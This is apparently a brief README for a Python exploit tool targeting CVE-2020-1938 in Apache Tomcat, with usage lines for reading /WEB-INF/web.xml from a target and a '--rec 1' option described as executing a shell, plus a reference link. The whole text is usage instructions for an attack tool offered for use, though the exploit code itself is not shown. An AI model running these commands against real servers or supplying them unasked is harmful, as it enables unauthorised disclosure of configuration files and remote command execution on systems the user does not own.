cve-2020-1938 1.read file: python3 tomcat.py URL -f /WEB-INF/web.xml example: python3 tomcat.py 127.0.0.1 -f /WEB-INF/web.xml -p 8090 2.excute shell add --rec 1 refere: https://www.t00ls.net/articles-55062.html